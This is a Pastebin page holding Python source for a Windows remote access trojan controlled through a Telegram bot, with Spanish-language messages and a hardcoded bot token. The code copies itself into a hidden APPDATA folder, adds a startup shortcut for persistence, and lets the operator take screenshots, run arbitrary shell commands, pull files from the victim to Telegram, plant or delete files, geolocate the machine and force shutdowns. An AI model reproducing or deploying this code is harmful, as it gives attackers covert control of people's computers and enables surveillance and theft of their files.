Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton
- import telepot, requests
- import time
- import os, os.path, platform, ctypes
- from winshell import startup
- from win32com.client import Dispatch
- from shutil import copyfile, copyfileobj, rmtree, move
- from sys import argv, path, stdout
- import sys
- import pythoncom
- from PIL import ImageGrab
- import urllib.request
- import ctypes
- from subprocess import Popen, PIPE, check_output
- from getpass import getuser
- import socket
- from json import loads
- token = '725803858:AAHSDtzv-r7ejZMyG9vQP4CuUXw6T9o74XA'
- known_ids = []
- app_name = 'Echeter'
- appdata_roaming_folder = os.environ['APPDATA']
- hide_folder = appdata_roaming_folder + '\\' + app_name
- compiled_name = app_name + '.exe'
- target_shortcut = startup() + '\\' + compiled_name.replace('.exe', '.lnk')
- if not os.path.exists(hide_folder):
- os.makedirs(hide_folder)
- hide_compiled = hide_folder + '\\' + compiled_name
- copyfile(argv[0], hide_compiled)
- shell = Dispatch('WScript.Shell')
- shortcut = shell.CreateShortCut(target_shortcut)
- shortcut.Targetpath = hide_compiled
- shortcut.WorkingDirectory = hide_folder
- shortcut.save()
- def checkchat_id(chat_id):
- return len(known_ids) == 0 or str(chat_id) in known_ids
- def internalIP():
- internal_ip = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- internal_ip.connect(('google.com', 0))
- return internal_ip.getsockname()[0]
- def split_string(n, st):
- lst = ['']
- for i in str(st):
- l = len(lst) - 1
- if len(lst[l]) < n:
- lst[l] += i
- else:
- lst += [i]
- return lst
- def send_safe_message(bot, chat_id, message):
- while(True):
- try:
- print(format(bot.sendMessage(chat_id, message)),True)
- break
- except:
- pass
- def handle(msg):
- chat_id = msg['chat']['id']
- if checkchat_id(chat_id):
- response = ''
- if 'text' in msg:
- command = msg['text']
- try:
- if command == '/capture_pc':
- bot.sendChatAction(chat_id, 'typing')
- screenshot = ImageGrab.grab()
- screenshot.save('screenshot.jpg')
- bot.sendChatAction(chat_id, 'upload_photo')
- bot.sendDocument(chat_id, open('screenshot.jpg', 'rb'))
- os.remove('screenshot.jpg')
- elif command == '/arp':
- response = ''
- bot.sendChatAction(chat_id, 'typing')
- lines = os.popen('arp -a -N ' + internalIP())
- for line in lines:
- line.replace('\n\n', '\n')
- response += line
- elif command.startswith('/cd'):
- command = command.replace('/cd ','')
- try:
- os.chdir(command)
- except:
- response = 'Especifica una carpeta para ' + command
- elif command.startswith('/download'):
- bot.sendChatAction(chat_id, 'typing')
- path_file = command.replace('/download', '')
- path_file = path_file[1:]
- if path_file == '':
- response = '/download C:/path/ or /download archivo'
- else:
- bot.sendChatAction(chat_id, 'upload_document')
- try:
- bot.sendDocument(chat_id, open(path_file, 'rb'))
- except:
- try:
- bot.sendDocument(chat_id, open(hide_folder + '\\' + path_file))
- response = 'En carpeta oculta: ' + hide_folder
- except:
- response = '404 '
- elif command.startswith('/cmdexec'):
- command = command.replace('/cmdexec', '')
- Davo = check_output(command, shell = True)
- response = (''.join(map(chr, Davo)))
- elif command.startswith('/delete'):
- command = command.replace('/delete', '')
- path_file = command.strip()
- try:
- os.remove(path_file)
- response = 'Archivo eliminado'
- except:
- try:
- os.rmdir(path_file)
- response = 'Carpeta eliminada'
- except:
- try:
- shutil.rmtree(path_file)
- response = 'Carpeta y sus archivos eliminados'
- except:
- response = '404'
- elif command == '/ip_info':
- bot.sendChatAction(chat_id, 'find_location')
- info = requests.get('http://ipinfo.io').text
- location = (loads(info)['loc']).split(',')
- bot.sendLocation(chat_id, location[0], location[1])
- import string
- import re
- response = 'External IP: '
- response += "".join(filter(lambda char: char in string.printable, info))
- response = re.sub('[:,{}\t\"]', '', response)
- response += '\n' + 'Internal IP: ' + '\n\t' + internalIP()
- elif command.startswith('/msg_box'):
- message = command.replace('/msg_box', '')
- if message == '':
- response = '/msg_box texto'
- else:
- ctypes.windll.user32.MessageBoxW(0, message, u'Information', 0x40)
- response = 'Completado'
- elif command.startswith('/ls'):
- bot.sendChatAction(chat_id, 'typing')
- command = command.replace('/ls', '')
- command = command.strip()
- files = []
- if len(command) > 0:
- files = os.listdir(command)
- else:
- files = os.listdir(os.getcwd())
- human_readable = ''
- for file in files:
- human_readable += file + '\n'
- response = human_readable
- elif command.startswith('/mv'):
- command = command.replace('/mv', '')
- if len(command) > 0:
- try:
- file1 = command.split('"')[1]
- file2 = command.split('"')[3]
- move(file1, file2)
- response = 'Archivos movidos.'
- except Exception as e:
- response = 'Error: \n' + str(e)
- else:
- response = 'Uso: \n/mv "C:/Users/username/Desktop/archivo.jpg" "C:/Users/username"'
- response += '\n\nComillas necesarias'
- elif command == '/pc_info':
- bot.sendChatAction(chat_id, 'typing')
- info = ''
- for pc_info in platform.uname():
- info += '\n' + pc_info
- info += '\n' + 'Username: ' + getuser()
- response = info
- elif command == '/ping':
- response = platform.uname()[1] + ' :D'
- elif command == '/pwd':
- response = os.getcwd()
- elif command == '/reboot':
- bot.sendChatAction(chat_id, 'typing')
- command = os.popen('shutdown /r /f /t 0')
- response = 'Reiniciando...'
- elif command == '/shutdown':
- bot.sendChatAction(chat_id, 'typing')
- command = os.popen('shutdown /s /f /t 0')
- response = 'Apagando...'
- elif command.startswith('/wallpaper'):
- command = command.replace('/wallpaper', '')
- command = command.strip()
- if len(command) == 0:
- response = 'Uso: /wallpaper C:/Users/username/archivo.jpg o /wallpaper <URL>'
- elif command.startswith('http'):
- image = command.rsplit('/',1)[1]
- image = hide_folder + '/' + image
- urllib.request.urlretrieve(command, image)
- ctypes.windll.user32.SystemParametersInfoW(20, 0, image, 3)
- else:
- ctypes.windll.user32.SystemParametersInfoW(20, 0, command.replace('/', '//'), 3)
- response = 'Fondo de pantalla configurado.'
- elif command == '/help':
- functionalities = {
- '/capture_pc' : '', \
- '/cmdexec':'<comando>', \
- '/cd':'<carpeta>', \
- '/delete':'<archivo>', \
- '/download':'<archivo>', \
- '/ip_info':'', \
- '/arp':'', \
- '/ping':'', \
- '/ls':'[carpeta]', \
- '/msg_box':'<texto>', \
- '/pc_info':'', \
- '/pwd':'', \
- '/reboot':'', \
- '/shutdown':'', \
- '/mv <archivo>':'', \
- '/wallpaper':'<archivo o URL>'}
- response = "\n".join(command + ' ' + description for command,description in sorted(functionalities.items()))
- else:
- msg = {'text' : '/help', 'chat' : { 'id' : chat_id }}
- handle(msg)
- except Exception as e:
- print(f'ERROR: {e}')
- else:
- file_name = ''
- file_id = None
- if 'document' in msg:
- file_name = msg['document']['file_name']
- file_id = msg['document']['file_id']
- elif 'photo' in msg:
- file_id = msg['photo'][1]['file_id']
- file_name = file_id + '.jpg'
- file_path = bot.getFile(file_id=file_id)['file_path']
- link = 'https://api.telegram.org/file/bot' + str(token) + '/' + file_path
- file = (requests.get(link, stream=True)).raw
- with open(hide_folder + '\\' + file_name, 'wb') as out_file:
- copyfileobj(file, out_file)
- response = 'File saved as ' + file_name
- if response != '':
- responses = split_string(4096, response)
- for resp in responses:
- send_safe_message(bot, chat_id, resp)
- bot = telepot.Bot(token)
- bot.message_loop(handle)
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement